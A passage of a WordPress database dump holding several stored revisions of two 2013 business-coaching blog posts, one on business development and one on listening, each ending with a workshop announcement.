choice.\r\n\r\n<strong>Some common business development mistakes.</strong>\r\n\r\nI have worked with hundreds of entrepreneurs in diverse industries. One thing they all have in common is an uncompromising desire to win.  I’m confident you do too. But in the desire to close sales, many entrepreneurs and solo professionals inadvertently make these common (fatal) business development mistakes. Any of these apply to you?\r\n\r\n<strong><em>You don’t clearly and quickly communicate your value to the client-to-be in a manner that is relevant and distinctive from other available alternatives.</em></strong>\r\nYou must be able to state why you and your offer will matter to a prospective client in one sentence. If you don’t know how to clearly and quickly articulate a compelling value proposition, then you are beating yourself before you even begin.\r\n\r\n<strong><em>You meet with prospective clients on their turf.</em></strong>\r\nToday so much business is conducted over the phone and in a video conference, that you might not think this mistake is relevant in our social media age. However, at some point in the sales conversation, you’re going to have to have some quality face time. When you do make sure that meeting is not conducted in the client’s office or yours. Only meet in an environment that is supportive of your value and gets the client-to-be into a head space where their attention is solely focused on how you will help them get what they want. That won’t happen if you are sitting in their office.\r\n\r\n<strong><em>You are unprepared.</em></strong>\r\nI’m shocked that anyone would be unprepared for the opportunity to create value. But many of you are. You’re unprepared to sell when you don’t know the real reason the client is buying in the first place. This is absolutely critical to your sales success. You must know the prospect’s pain before you can advise a course of action to relieve it. It also helps to know critical insights into the clients business, their culture, the markets they serve. Show the client-to-be that you have invested in their success.\r\n\r\n<strong><em>You don’t connect with prospect on a consistent basis</em>.</strong>\r\nAs I mentioned in Part One, it takes a long time to build trust with a prospective client. If you are only “touching” them with an email once or twice a year, you won’t be making much of an impact. Your prospects will always be in some phase of the buying cycle, anywhere from “I’m not interested” to “I need it now”. Most of the time, you will reach out to a prospect when they are in the “not interested” phase and then you go away and come back in six months to try again. If your contact strategy is well targeted and consistent, you have a much better chance of being in the right place at the right time.\r\n\r\n<strong><em>You don’t know when to close the deal.</em></strong>\r\nAt some point in the sales conversation you will have to obtain a final agreement to buy. But this can only happen when the prospective customer is positive and inclined to do so. Many early stage entrepreneurs fail to secure a decision, or they keep plowing away with their pitch and talk themselves right out of a sale. A buyer may decide to buy in 10 minutes or 10 months. When the buyer decides to buy and you don’t close them right then and there, you will lose the opportunity.\r\n\r\n<strong>Business development success is a matter of luck and timing–all of which you have the power to create.</strong>\r\n\r\n<strong></strong>When I started my firm, it became rapidly apparent to me that few people were going to do business with me simply because I was good at what I did. I had to learn that business development was a skill that I must learn. But I never like selling.  What I did enjoy was connecting with like-minded people and helping them. When I began to realize that building trust made selling easier, my business took off. Yours will too.\r\n\r\nMost importantly, timing is everything in business development. When you’ve invested your time and energy into creating relationships with higher value clients, when the time is right, your client-to-be will seek you out.  Pursing business development in a strategic manner, rather than blindly selling, you’ll get your business to the next level and beyond.<em></em>\r\n\r\n<em>Editor’s note: </em>\r\n<em>Join me for the Quantum Leap Business Transformation Workshop. November 8, 2013 Ojai, California.  This one-day intensive workshop has been specifically designed to help early stage entrepreneurs and solo professionals take their business to the next level. Space is limited to 24 participants. <a title="Quantum Leap Workshop Registration" href="mailto://thomson@whitehotcenter.com" target="_blank">Email me</a>for registration details.\r\n</em>', 'Part Two– The difference between selling and business development.', 0, '', 'inherit', 'open', 'open', '', '2333-revision-5', '', '', '2013-07-01 14:42:32', '2013-07-01 21:42:32', '', 2333, 'http://www.whitehotcenter.com/2013/07/2333-revision-5/', 0, 'revision', '', 0);
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(2340, 2, '2013-07-01 14:42:40', '2013-07-01 21:42:40', '<img class="alignnone size-full wp-image-2334" title="sales-skills-2" src="http://whc.fbdev.org/wp-content/uploads/2013/07/sales-skills-2.jpg" alt="" width="484" height="423" />\r\n<h1><span style="color: #808080;">Your business development activities must align perfectly to your prospect’s buying process–leading both of you to the final act of closing the sale.</span></h1>\r\nIn the previous post, I covered some first principles of business development. For many of the entrepreneurs and solo professionals I work with, their biggest challenge, especially at the beginning of their journey–is selling to new customers. If you have anxiety about selling to strangers then you might want to reframe in your mind the whole selling idea and think in terms of business development. In other words–relationship building!\r\n\r\n<strong>People buy from people they know, like and trust.</strong>\r\n\r\nAll business is centered in helping people, adding to their life experience, fulfilling their needs. If you are not known by your clients-to-be,  then you can’t be liked and trusted. Building relationships before you sell something is the heart and soul of business development. When you think in these terms, the pressure and fear of selling melts away. I’ll bet my last dollar you are person who loves to connect with people. Through your natural talent for connecting with people you’ll experience much more joy and enthusiasm for helping people get what they need. There is no need to “sell”.\r\n\r\nWhen you are attracting new business, rather than chasing it, you are expressing your powerful creative energy to serve. People will be naturally drawn to you, and you’ll build trust with your client-to-be in an easy, relaxed and positive manner.\r\n\r\n<strong>Stop selling what you do and start helping someone get what they desire.</strong>\r\n\r\nIn the interest of convincing and persuading prospective customers that your products and services will be a good fit for them, often times it’s easy to completely forget that clients don’t care about what you do, they care about their outcomes. When you focus your sales conversations on the desired outcomes of critical importance to the prospective client, you won’t need to persuade anyone of anything. They’ll be receptive to whatever guidance you share with them simply because it’s all about them and not you.\r\n\r\nCustomers only care about their outcomes, not your product features or service methodologies. Chances are those things are in abundant supply from the alternatives available. Helping people get closer to what they desire is the fastest way to build trust and confidence that YOU are the ONLY wise choice.\r\n\r\n<strong>Some common business development mistakes.</strong>\r\n\r\nI have worked with hundreds of entrepreneurs in diverse industries. One thing they all have in common is an uncompromising desire to win.  I’m confident you do too. But in the desire to close sales, many entrepreneurs and solo professionals inadvertently make these common (fatal) business development mistakes. Any of these apply to you?\r\n\r\n<strong><em>You don’t clearly and quickly communicate your value to the client-to-be in a manner that is relevant and distinctive from other available alternatives.</em></strong>\r\nYou must be able to state why you and your offer will matter to a prospective client in one sentence. If you don’t know how to clearly and quickly articulate a compelling value proposition, then you are beating yourself before you even begin.\r\n\r\n<strong><em>You meet with prospective clients on their turf.</em></strong>\r\nToday so much business is conducted over the phone and in a video conference, that you might not think this mistake is relevant in our social media age. However, at some point in the sales conversation, you’re going to have to have some quality face time. When you do make sure that meeting is not conducted in the client’s office or yours. Only meet in an environment that is supportive of your value and gets the client-to-be into a head space where their attention is solely focused on how you will help them get what they want. That won’t happen if you are sitting in their office.\r\n\r\n<strong><em>You are unprepared.</em></strong>\r\nI’m shocked that anyone would be unprepared for the opportunity to create value. But many of you are. You’re unprepared to sell when you don’t know the real reason the client is buying in the first place. This is absolutely critical to your sales success. You must know the prospect’s pain before you can advise a course of action to relieve it. It also helps to know critical insights into the clients business, their culture, the markets they serve. Show the client-to-be that you have invested in their success.\r\n\r\n<strong><em>You don’t connect with prospect on a consistent basis</em>.</strong>\r\nAs I mentioned in Part One, it takes a long time to build trust with a prospective client. If you are only “touching” them with an email once or twice a year, you won’t be making much of an impact. Your prospects will always be in some phase of the buying cycle, anywhere from “I’m not interested” to “I need it now”. Most of the time, you will reach out to a prospect when they are in the “not interested” phase and then you go away and come back in six months to try again. If your contact strategy is well targeted and consistent, you have a much better chance of being in the right place at the right time.\r\n\r\n<strong><em>You don’t know when to close the deal.</em></strong>\r\nAt some point in the sales conversation you will have to obtain a final agreement to buy. But this can only happen when the prospective customer is positive and inclined to do so. Many early stage entrepreneurs fail to secure a decision, or they keep plowing away with their pitch and talk themselves right out of a sale. A buyer may decide to buy in 10 minutes or 10 months. When the buyer decides to buy and you don’t close them right then and there, you will lose the opportunity.\r\n\r\n<strong>Business development success is a matter of luck and timing–all of which you have the power to create.</strong>\r\n\r\n<strong></strong>When I started my firm, it became rapidly apparent to me that few people were going to do business with me simply because I was good at what I did. I had to learn that business development was a skill that I must learn. But I never like selling.  What I did enjoy was connecting with like-minded people and helping them. When I began to realize that building trust made selling easier, my business took off. Yours will too.\r\n\r\nMost importantly, timing is everything in business development. When you’ve invested your time and energy into creating relationships with higher value clients, when the time is right, your client-to-be will seek you out.  Pursing business development in a strategic manner, rather than blindly selling, you’ll get your business to the next level and beyond.<em></em>\r\n\r\n<em>Editor’s note: </em>\r\n<em>Join me for the Quantum Leap Business Transformation Workshop. November 8, 2013 Ojai, California.  This one-day intensive workshop has been specifically designed to help early stage entrepreneurs and solo professionals take their business to the next level. Space is limited to 24 participants. <a title="Quantum Leap Workshop Registration" href="mailto://thomson@whitehotcenter.com" target="_blank">Email me</a>for registration details.\r\n</em>', 'Part Two– The difference between selling and business development.', 0, '', 'inherit', 'open', 'open', '', '2333-revision-6', '', '', '2013-07-01 14:42:40', '2013-07-01 21:42:40', '', 2333, 'http://www.whitehotcenter.com/2013/07/2333-revision-6/', 0, 'revision', '', 0),
(2342, 2, '2013-07-01 14:49:08', '2013-07-01 21:49:08', '<img class="alignnone size-full wp-image-2334" title="sales-skills-2" src="http://whc.fbdev.org/wp-content/uploads/2013/07/sales-skills-2.jpg" alt="" width="484" height="423" />\r\n<h1><span style="color: #808080;">Your business development activities must align perfectly to your prospect’s buying process–leading both of you to the final act of closing the sale.</span></h1>\r\nIn the previous post, I covered some first principles of business development. For many entrepreneurs and solo professionals I work with, their biggest challenge, especially at the beginning of their journey–is selling to new customers. If you have anxiety about selling to strangers then you might want to reframe in your mind the whole selling idea and think in terms of business development. In other words–relationship building!\r\n\r\n<strong>People buy from people they know, like and trust.</strong>\r\n\r\nAll business is centered in helping people, adding to their life experience, fulfilling their needs. If you are not known by your clients-to-be,  then you can’t be liked and trusted. Building relationships before you sell something is the heart and soul of business development. When you think in these terms, the pressure and fear of selling melts away. I’ll bet my last dollar you are person who loves to connect with people. Through your natural talent for connecting with people you’ll experience much more joy and enthusiasm for helping people get what they need. There is no need to “sell”.\r\n\r\nWhen you are attracting new business, rather than chasing it, you are expressing your powerful creative energy to serve. People will be naturally drawn to you, and you’ll build trust with your client-to-be in an easy, relaxed and positive manner.\r\n\r\n<strong>Stop selling what you do and start helping someone get what they desire.</strong>\r\n\r\nIn the interest of convincing and persuading prospective customers that your products and services will be a good fit for them, often times it’s easy to completely forget that clients don’t care about what you do, they care about their outcomes. When you focus your sales conversations on the desired outcomes of critical importance to the prospective client, you won’t need to persuade anyone of anything. They’ll be receptive to whatever guidance you share with them simply because it’s all about them and not you.\r\n\r\nCustomers only care about their outcomes, not your product features or service methodologies. Chances are those things are in abundant supply from the alternatives available. Helping people get closer to what they desire is the fastest way to build trust and confidence that YOU are the ONLY wise choice.\r\n\r\n<strong>Some common business development mistakes.</strong>\r\n\r\nI have worked with hundreds of entrepreneurs in diverse industries. One thing they all have in common is an uncompromising desire to win.  I’m confident you do too. But in the desire to close sales, many entrepreneurs and solo professionals inadvertently make these common (fatal) business development mistakes. Any of these apply to you?\r\n\r\n<strong><em>You don’t clearly and quickly communicate your value to the client-to-be in a manner that is relevant and distinctive from other available alternatives.</em></strong>\r\nYou must be able to state why you and your offer will matter to a prospective client in one sentence. If you don’t know how to clearly and quickly articulate a compelling value proposition, then you are beating yourself before you even begin.\r\n\r\n<strong><em>You meet with prospective clients on their turf.</em></strong>\r\nToday so much business is conducted over the phone and in a video conference, that you might not think this mistake is relevant in our social media age. However, at some point in the sales conversation, you’re going to have to have some quality face time. When you do make sure that meeting is not conducted in the client’s office or yours. Only meet in an environment that is supportive of your value and gets the client-to-be into a head space where their attention is solely focused on how you will help them get what they want. That won’t happen if you are sitting in their office.\r\n\r\n<strong><em>You are unprepared.</em></strong>\r\nI’m shocked that anyone would be unprepared for the opportunity to create value. But many of you are. You’re unprepared to sell when you don’t know the real reason the client is buying in the first place. This is absolutely critical to your sales success. You must know the prospect’s pain before you can advise a course of action to relieve it. It also helps to know critical insights into the clients business, their culture, the markets they serve. Show the client-to-be that you have invested in their success.\r\n\r\n<strong><em>You don’t connect with prospect on a consistent basis</em>.</strong>\r\nAs I mentioned in Part One, it takes a long time to build trust with a prospective client. If you are only “touching” them with an email once or twice a year, you won’t be making much of an impact. Your prospects will always be in some phase of the buying cycle, anywhere from “I’m not interested” to “I need it now”. Most of the time, you will reach out to a prospect when they are in the “not interested” phase and then you go away and come back in six months to try again. If your contact strategy is well targeted and consistent, you have a much better chance of being in the right place at the right time.\r\n\r\n<strong><em>You don’t know when to close the deal.</em></strong>\r\nAt some point in the sales conversation you will have to obtain a final agreement to buy. But this can only happen when the prospective customer is positive and inclined to do so. Many early stage entrepreneurs fail to secure a decision, or they keep plowing away with their pitch and talk themselves right out of a sale. A buyer may decide to buy in 10 minutes or 10 months. When the buyer decides to buy and you don’t close them right then and there, you will lose the opportunity.\r\n\r\n<strong>Business development success is a matter of luck and timing–all of which you have the power to create.</strong>\r\n\r\n<strong></strong>When I started my firm, it became rapidly apparent to me that few people were going to do business with me simply because I was good at what I did. I had to learn that business development was a skill that I must learn. But I never like selling.  What I did enjoy was connecting with like-minded people and helping them. When I began to realize that building trust made selling easier, my business took off. Yours will too.\r\n\r\nMost importantly, timing is everything in business development. When you’ve invested your time and energy into creating relationships with higher value clients, when the time is right, your client-to-be will seek you out.  Pursing business development in a strategic manner, rather than blindly selling, you’ll get your business to the next level and beyond.<em></em>\r\n\r\n<em>Editor’s note: </em>\r\n<em>Join me for the Quantum Leap Business Transformation Workshop. November 8, 2013 Ojai, California.  This one-day intensive workshop has been specifically designed to help early stage entrepreneurs and solo professionals take their business to the next level. Space is limited to 24 participants. <a title="Quantum Leap Workshop Registration" href="mailto://thomson@whitehotcenter.com" target="_blank">Email me</a>f or registration details.\r\n</em>', 'Part Two– The difference between selling and business development.', 0, '', 'inherit', 'open', 'open', '', '2333-revision-8', '', '', '2013-07-01 14:49:08', '2013-07-01 21:49:08', '', 2333, 'http://www.whitehotcenter.com/2013/07/2333-revision-8/', 0, 'revision', '', 0),
(2343, 2, '2013-07-01 14:49:16', '2013-07-01 21:49:16', '<img class="alignnone size-full wp-image-2334" title="sales-skills-2" src="http://whc.fbdev.org/wp-content/uploads/2013/07/sales-skills-2.jpg" alt="" width="484" height="423" />\r\n<h1><span style="color: #808080;">Your business development activities must align perfectly to your prospect’s buying process–leading both of you to the final act of closing the sale.</span></h1>\r\nIn the previous post, I covered some first principles of business development. For many entrepreneurs and solo professionals I work with, their biggest challenge, especially at the beginning of their journey–is selling to new customers. If you have anxiety about selling to strangers then you might want to reframe in your mind the whole selling idea and think in terms of business development. In other words–relationship building!\r\n\r\n<strong>People buy from people they know, like and trust.</strong>\r\n\r\nAll business is centered in helping people, adding to their life experience, fulfilling their needs. If you are not known by your clients-to-be,  then you can’t be liked and trusted. Building relationships before you sell something is the heart and soul of business development. When you think in these terms, the pressure and fear of selling melts away. I’ll bet my last dollar you are person who loves to connect with people. Through your natural talent for connecting with people you’ll experience much more joy and enthusiasm for helping people get what they need. There is no need to “sell”.\r\n\r\nWhen you are attracting new business, rather than chasing it, you are expressing your powerful creative energy to serve. People will be naturally drawn to you, and you’ll build trust with your client-to-be in an easy, relaxed and positive manner.\r\n\r\n<strong>Stop selling what you do and start helping someone get what they desire.</strong>\r\n\r\nIn the interest of convincing and persuading prospective customers that your products and services will be a good fit for them, often times it’s easy to completely forget that clients don’t care about what you do, they care about their outcomes. When you focus your sales conversations on the desired outcomes of critical importance to the prospective client, you won’t need to persuade anyone of anything. They’ll be receptive to whatever guidance you share with them simply because it’s all about them and not you.\r\n\r\nCustomers only care about their outcomes, not your product features or service methodologies. Chances are those things are in abundant supply from the alternatives available. Helping people get closer to what they desire is the fastest way to build trust and confidence that YOU are the ONLY wise choice.\r\n\r\n<strong>Some common business development mistakes.</strong>\r\n\r\nI have worked with hundreds of entrepreneurs in diverse industries. One thing they all have in common is an uncompromising desire to win.  I’m confident you do too. But in the desire to close sales, many entrepreneurs and solo professionals inadvertently make these common (fatal) business development mistakes. Any of these apply to you?\r\n\r\n<strong><em>You don’t clearly and quickly communicate your value to the client-to-be in a manner that is relevant and distinctive from other available alternatives.</em></strong>\r\nYou must be able to state why you and your offer will matter to a prospective client in one sentence. If you don’t know how to clearly and quickly articulate a compelling value proposition, then you are beating yourself before you even begin.\r\n\r\n<strong><em>You meet with prospective clients on their turf.</em></strong>\r\nToday so much business is conducted over the phone and in a video conference, that you might not think this mistake is relevant in our social media age. However, at some point in the sales conversation, you’re going to have to have some quality face time. When you do make sure that meeting is not conducted in the client’s office or yours. Only meet in an environment that is supportive of your value and gets the client-to-be into a head space where their attention is solely focused on how you will help them get what they want. That won’t happen if you are sitting in their office.\r\n\r\n<strong><em>You are unprepared.</em></strong>\r\nI’m shocked that anyone would be unprepared for the opportunity to create value. But many of you are. You’re unprepared to sell when you don’t know the real reason the client is buying in the first place. This is absolutely critical to your sales success. You must know the prospect’s pain before you can advise a course of action to relieve it. It also helps to know critical insights into the clients business, their culture, the markets they serve. Show the client-to-be that you have invested in their success.\r\n\r\n<strong><em>You don’t connect with prospect on a consistent basis</em>.</strong>\r\nAs I mentioned in Part One, it takes a long time to build trust with a prospective client. If you are only “touching” them with an email once or twice a year, you won’t be making much of an impact. Your prospects will always be in some phase of the buying cycle, anywhere from “I’m not interested” to “I need it now”. Most of the time, you will reach out to a prospect when they are in the “not interested” phase and then you go away and come back in six months to try again. If your contact strategy is well targeted and consistent, you have a much better chance of being in the right place at the right time.\r\n\r\n<strong><em>You don’t know when to close the deal.</em></strong>\r\nAt some point in the sales conversation you will have to obtain a final agreement to buy. But this can only happen when the prospective customer is positive and inclined to do so. Many early stage entrepreneurs fail to secure a decision, or they keep plowing away with their pitch and talk themselves right out of a sale. A buyer may decide to buy in 10 minutes or 10 months. When the buyer decides to buy and you don’t close them right then and there, you will lose the opportunity.\r\n\r\n<strong>Business development success is a matter of luck and timing–all of which you have the power to create.</strong>\r\n\r\n<strong></strong>When I started my firm, it became rapidly apparent to me that few people were going to do business with me simply because I was good at what I did. I had to learn that business development was a skill that I must learn. But I never like selling.  What I did enjoy was connecting with like-minded people and helping them. When I began to realize that building trust made selling easier, my business took off. Yours will too.\r\n\r\nMost importantly, timing is everything in business development. When you’ve invested your time and energy into creating relationships with higher value clients, when the time is right, your client-to-be will seek you out.  Pursing business development in a strategic manner, rather than blindly selling, you’ll get your business to the next level and beyond.<em></em>\r\n\r\n<em>Editor’s note: </em>\r\n<em>Join me for the Quantum Leap Business Transformation Workshop. November 8, 2013 Ojai, California.  This one-day intensive workshop has been specifically designed to help early stage entrepreneurs and solo professionals take their business to the next level. Space is limited to 24 participants. <a title="Quantum Leap Workshop Registration" href="mailto://thomson@whitehotcenter.com" target="_blank">Email me</a>f or registration details.\r\n</em>', 'Part Two– The difference between selling and business development.', 0, '', 'inherit', 'open', 'open', '', '2333-revision-9', '', '', '2013-07-01 14:49:16', '2013-07-01 21:49:16', '', 2333, 'http://www.whitehotcenter.com/2013/07/2333-revision-9/', 0, 'revision', '', 0),
(2344, 2, '2013-07-16 21:07:41', '2013-07-17 04:07:41', '<h1><img class="alignnone size-full wp-image-2345" title="How to be a Master Listener" src="http://whc.fbdev.org/wp-content/uploads/2013/07/good-listener.jpg" alt="" width="495" height="309" /></h1>\r\n<h1><span style="color: #808080;">There’s a reason you have two ears and only one mouth. If you want to forge enduring relationships and create lots of opportunity, listen twice as much as you speak.</span></h1>\r\nWhen having a conversation, do you find yourself formulating your responses in your head while the other person is still speaking? In a business or sales conversation, do you ramble on about the quality of your products or services? Are you a good listener?\r\n\r\nI struggled for a very long time to understand the importance of being a good listener. My idea of listening was waiting to talk until after the other person finished speaking. That’s not listening, that’s just being polite! Big difference.\r\n\r\nNothing is more elemental to your success than developing the habits of a master listener.\r\n\r\nIf you want to kick up your game in life, and experience greater personal effectiveness, you must listen intently. When you listen to someone–really listen, you honor them. When you listen intently, you show them you care about them, their desires and concerns. You demonstrate, by listening, that you are person who can be confided in and trusted. This one skill alone is a force multiplier in buiding enduring relationships. Learn to be a master listener.\r\n<h2>To create competitive advantage for your business on a massive scale, listen more and sell less.</h2>\r\nNever make your sales conversations about your products or services. Customers can easily get whatever you’re selling anywhere and at a cheaper prices. Master listeners differentiate their value from the available alternatives by focusing on the client’s issues and desired outcomes.\r\n\r\nThe only way you can learn about what matters to your customer/client is to listen intently to what they have to say. You don’t need to speak at all! A sincere and empathetic nod every once and while is twice as effective in impacting your business development success.\r\n\r\nListening is a “first principle” and a fundamental attribute of all highly successful people. Listening enhances the quality of your relationships in every area of your life–business, spouse, partner, children, family and friends. Nothing has more attractive force and forges deeper relationships than listening intently to what someone has to say.\r\n\r\nHere are a few simple ways you can form the habit of being a master listener in all your conversations:\r\n\r\n•  With an open body position, face the person, look them straight in the eye.\r\n\r\n•  Be present. Put down your pen, fold up your electronic device, place your hands in your lap.\r\n\r\n•  A simple and sincere nod is far more effective than formulating a response.\r\n\r\n•  Respond by asking good questions, listen intently to the answer, confirm your understanding.\r\n\r\n•  Never interrupt or talk over someone. Nothing will diminish your effectiveness faster.\r\n\r\n•  Demonstrate high levels of empathy. You have to really care about what someone is saying. Even if the subject is not at the center of your interest.\r\n\r\nBecoming a master listener requires intentional effort and practice–but it''s not rocket science either. Just think how you feel when someone doesn''t listen to you. You certainly wouldn''t want anyone to feel that way when talking to you would you?\r\n\r\nWhen you form the habits of a master listener, you’ll be amazed how quickly people will fall in love with anything you have to say!\r\n\r\n<em>Editor’s note: </em>\r\n<em>Join me for the Quantum Leap Business Transformation Workshop. November 8, 2013 Ojai, California.  This one-day intensive workshop has been specifically designed to help early stage entrepreneurs and solo professionals take their business to the next level. Space is limited to 24 participants. <a title="Quantum Leap Workshop Registration" href="mailto://thomson@whitehotcenter.com" target="_blank">Email me</a>f or registration details.</em>', 'How to be a Master Listener.', 0, '', 'publish', 'open', 'open', '', 'how-to-be-a-master-listener', '', '', '2013-07-16 21:07:41', '2013-07-17 04:07:41', '', 0, 'http://www.whitehotcenter.com/?p=2344', 0, 'post', '', 0),
(2345, 2, '2013-07-16 20:54:19', '2013-07-17 03:54:19', '', 'How to be a Master Listener', 0, '', 'inherit', 'open', 'open', '', 'good-listener', '', '', '2013-07-16 20:54:19', '2013-07-17 03:54:19', '', 2344, 'http://www.whitehotcenter.com/wp-content/uploads/2013/07/good-listener.jpg', 0, 'attachment', 'image/jpeg', 0),
(2346, 2, '2013-07-16 20:57:48', '2013-07-17 03:57:48', '<h1><img class="alignnone size-full wp-image-2345" title="How to be a Master Listener" src="http://whc.fbdev.org/wp-content/uploads/2013/07/good-listener.jpg" alt="" width="495" height="309" /></h1>\n<h1>There’s a reason you have two ears and only one mouth. If you want to forge enduring relationships and create lots of opportunity, listen twice as much as you speak.</h1>\nWhen having a conversation, do you find yourself formulating your responses in your head while the other person is still speaking? In a business or sales conversation, do you ramble on about the quality of your products or services? Are you a good listener?\n\nI struggled for a very long time to understand the importance of being a good listener. My idea of listening was waiting to talk until after the other person finished speaking. That’s not listening, that’s just being polite! Big difference.\n\nNothing is more elemental to your success than developing the habits of a master listener.\n\nIf you want to kick up your game in life, and experience greater personal effectiveness, you must listen intently. When you listen to someone–really listen, you honor them. When you listen intently, you show them you care about them, their desires and concerns. You demonstrate, by listening, that you are person who can be confided in and trusted. This one skill alone is a force multiplier in buiding enduring relationships. Learn to be a master listener.\n<h2>To create competitive advantage for your business on a massive scale, listen more and sell less.</h2>\nNever make your sales conversations about your products or services. Customers can easily get whatever you’re selling anywhere and at a cheaper prices. Master listeners differentiate their value from the available alternatives by focusing on the client’s issues and desired outcomes.\n\nThe only way you can learn about what matters to your customer/client is to listen intently to what they have to say. You don’t need to speak at all! A sincere and empathetic nod every once and while is twice as effective in impacting your business development success.\n\nListening is a “first principle” and a fundamental attribute of all highly successful people. Listening enhances the quality of your relationships in every area of your life–business, spouse, partner, children, family and friends. Nothing has more attractive force and forges deeper relationships than listening intently to what someone has to say.\n\nHere are a few simple ways you can form the habit of being a master listener in all your conversations:\n\n•  With an open body position, face the person, look them straight in the eye.\n\n•  Be present. Put down your pen, fold up your electronic device, place your hands in your lap.\n\n•  A simple and sincere nod is far more effective than formulating a response.\n\n•  Respond by asking good questions, listen intently to the answer, confirm your understanding.\n\n•  Never interrupt or talk over someone. Nothing will diminish your effectiveness faster.\n\n•  Demonstrate high levels of empathy. You have to really care about what someone is saying. Even if the subject is not at the center of your interest.\n\nBecoming a master listener requires intentional effort and practice–but it''s not rocket science either. Just think how you feel when someone doesn''t listen to you. You certainly wouldn''t want anyone to feel that way when talking to you would you?\n\nWhen you form the habits of a master listener, you’ll be amazed how quickly people will fall in love with anything you have to say!\n\n<em>Editor’s note: </em>\n<em>Join me for the Quantum Leap Business Transformation Workshop. November 8, 2013 Ojai, California.  This one-day intensive workshop has been specifically designed to help early stage entrepreneurs and solo professionals take their business to the next level. Space is limited to 24 participants. <a title="Quantum Leap Workshop Registration" href="mailto://thomson@whitehotcenter.com" target="_blank">Email me</a>f or registration details.</em>', 'How to be a Master Listener.', 0, '', 'inherit', 'open', 'open', '', '2344-revision', '', '', '2013-07-16 20:57:48', '2013-07-17 03:57:48', '', 2344, 'http://www.whitehotcenter.com/2013/07/2344-revision/', 0, 'revision', '', 0),
(2347, 2, '2013-07-16 20:57:58', '2013-07-17 03:57:58', '<h1><img class="alignnone size-full wp-image-2345" title="How to be a Master Listener" src="http://whc.fbdev.org/wp-content/uploads/2013/07/good-listener.jpg" alt="" width="495" height="309" /></h1>\r\n<h1>There’s a reason you have two ears and only one mouth. If you want to forge enduring relationships and create lots of opportunity, listen twice as much as you speak.</h1>\r\nWhen having a conversation, do you find yourself formulating your responses in your head while the other person is still speaking? In a business or sales conversation, do you ramble on about the quality of your products or services? Are you a good listener?\r\n\r\nI struggled for a very long time to understand the importance of being a good listener. My idea of listening was waiting to talk until after the other person finished speaking. That’s not listening, that’s just being polite! Big difference.\r\n\r\nNothing is more elemental to your success than developing the habits of a master listener.\r\n\r\nIf you want to kick up your game in life, and experience greater personal effectiveness, you must listen intently. When you listen to someone–really listen, you honor them. When you listen intently, you show them you care about them, their desires and concerns. You demonstrate, by listening, that you are person who can be confided in and trusted. This one skill alone is a force multiplier in buiding enduring relationships. Learn to be a master listener.\r\n<h2>To create competitive advantage for your business on a massive scale, listen more and sell less.</h2>\r\nNever make your sales conversations about your products or services. Customers can easily get whatever you’re selling anywhere and at a cheaper prices. Master listeners differentiate their value from the available alternatives by focusing on the client’s issues and desired outcomes.\r\n\r\nThe only way you can learn about what matters to your customer/client is to listen intently to what they have to say. You don’t need to speak at all! A sincere and empathetic nod every once and while is twice as effective in impacting your business development success.\r\n\r\nListening is a “first principle” and a fundamental attribute of all highly successful people. Listening enhances the quality of your relationships in every area of your life–business, spouse, partner, children, family and friends. Nothing has more attractive force and forges deeper relationships than listening intently to what someone has to say.\r\n\r\nHere are a few simple ways you can form the habit of being a master listener in all your conversations:\r\n\r\n•  With an open body position, face the person, look them straight in the eye.\r\n\r\n•  Be present. Put down your pen, fold up your electronic device, place your hands in your lap.\r\n\r\n•  A simple and sincere nod is far more effective than formulating a response.\r\n\r\n•  Respond by asking good questions, listen intently to the answer, confirm your understanding.\r\n\r\n•  Never interrupt or talk over someone. Nothing will diminish your effectiveness faster.\r\n\r\n•  Demonstrate high levels of empathy. You have to really care about what someone is saying. Even if the subject is not at the center of your interest.\r\n\r\nBecoming a master listener requires intentional effort and practice–but it''s not rocket science either. Just think how you feel when someone doesn''t listen to you. You certainly wouldn''t want anyone to feel that way when talking to you would you?\r\n\r\nWhen you form the habits of a master listener, you’ll be amazed how quickly people will fall in love with anything you have to say!\r\n\r\n<em>Editor’s note: </em>\r\n<em>Join me for the Quantum Leap Business Transformation Workshop. November 8, 2013 Ojai, California.  This one-day intensive workshop has been specifically designed to help early stage entrepreneurs and solo professionals take their business to the next level. Space is limited to 24 participants. <a title="Quantum Leap Workshop Registration" href="mailto://thomson@whitehotcenter.com" target="_blank">Email me</a>f or registration details.</em>', 'How to be a Master Listener.', 0, '', 'inherit', 'open', 'open', '', '2344-revision-2', '', '', '2013-07-16 20:57:58', '2013-07-17 03:57:58', '', 2344, 'http://www.whitehotcenter.com/2013/07/2344-revision-2/', 0, 'revision', '', 0),
(2348, 2, '2013-07-16 20:58:09', '2013-07-17 03:58:09', '<h1><img class="alignnone size-full wp-image-2345" title="How to be a Master Listener" src="http://whc.fbdev.org/wp-content/uploads/2013/07/good-listener.jpg" alt="" width="495" height="309" /></h1>\r\n<h1>There’s a reason you have two ears and only one mouth. If you want to forge enduring relationships and create lots of opportunity, listen twice as much as you speak.</h1>\r\nWhen having a conversation, do you find yourself formulating your responses in your head while the other person is still speaking? In a business or sales conversation, do you ramble on about the quality of your products or services? Are you a good listener?\r\n\r\nI struggled for a very long time to understand the importance of being a good listener. My idea of listening was waiting to talk until after the other person finished speaking. That’s not listening, that’s just being polite! Big difference.\r\n\r\nNothing is more elemental to your success than developing the habits of a master listener.\r\n\r\nIf you want to kick up your game in life, and experience greater personal effectiveness, you must listen intently. When you listen to someone–really listen, you honor them. When you listen intently, you show them you care about them, their desires and concerns. You demonstrate, by listening, that you are person who can be confided in and trusted. This one skill alone is a force multiplier in buiding enduring relationships. Learn to be a master listener.\r\n<h2>To create competitive advantage for your business on a massive scale, listen more and sell less.</h2>\r\nNever make your sales conversations about your products or services. Customers can easily get whatever you’re selling anywhere and at a cheaper prices. Master listeners differentiate their value from the available alternatives by focusing on the client’s issues and desired outcomes.\r\n\r\nThe only way you can learn about what matters to your customer/client is to listen intently to what they have to say. You don’t need to speak at all! A sincere and empathetic nod every once and while is twice as effective in impacting your business development success.\r\n\r\nListening is a “first principle” and a fundamental attribute of all highly successful people. Listening enhances the quality of your relationships in every area of your life–business, spouse, partner, children, family and friends. Nothing has more attractive force and forges deeper relationships than listening intently to what someone has to say.\r\n\r\nHere are a few simple ways you can form the habit of being a master listener in all your conversations:\r\n\r\n•  With an open body position, face the person, look them straight in the eye.\r\n\r\n•  Be present. Put down your pen, fold up your electronic device, place your hands in your lap.\r\n\r\n•  A simple and sincere nod is far more effective than formulating a response.\r\n\r\n•  Respond by asking good questions, listen intently to the answer, confirm your understanding.\r\n\r\n•  Never interrupt or talk over someone. Nothing will diminish your effectiveness faster.\r\n\r\n•  Demonstrate high levels of empathy. You have to really care about what someone is saying. Even if the subject is not at the center 